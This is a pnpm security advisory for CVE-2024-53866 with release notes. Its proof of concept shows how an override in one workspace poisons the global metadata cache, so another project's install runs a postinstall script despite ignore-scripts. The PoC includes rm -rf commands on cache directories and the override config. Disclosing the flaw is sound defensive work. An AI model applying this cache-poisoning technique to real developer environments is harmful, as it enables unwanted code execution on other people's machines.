CVE-2024-53866

Summary

pnpm seems to mishandle overrides and global cache:

1. Overrides from one workspace leak into npm metadata saved in global cache
2. npm metadata from global cache affects other workspaces
3. installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

1. Remove store and cache
   On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store
   This step is not required in general, but we'll be using a popular package for PoC that's likely cached
2. Create A/package.json:

   {
     "name": "A",
     "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
     "dependencies": { "rimraf": "6.0.1" }
   }

   Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)
3. Create B/package.json:

   {
     "name": "B",
     "dependencies": { "rimraf": "6.0.1" }
   }

   Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Release Notes

pnpm/pnpm (pnpm)

v9.15.0: pnpm 9.15

Compare Source

Minor Changes

• Metadata directory version bumped to force fresh cache after we shipped a fix to the metadata write function. This change is backward compatible as install doesn't require a metadata cache.

Patch Changes

• pnpm update --global should not crash if there are no any global packages installed #​7898.
• Fix an exception when running pnpm update --interactive if catalogs are used.
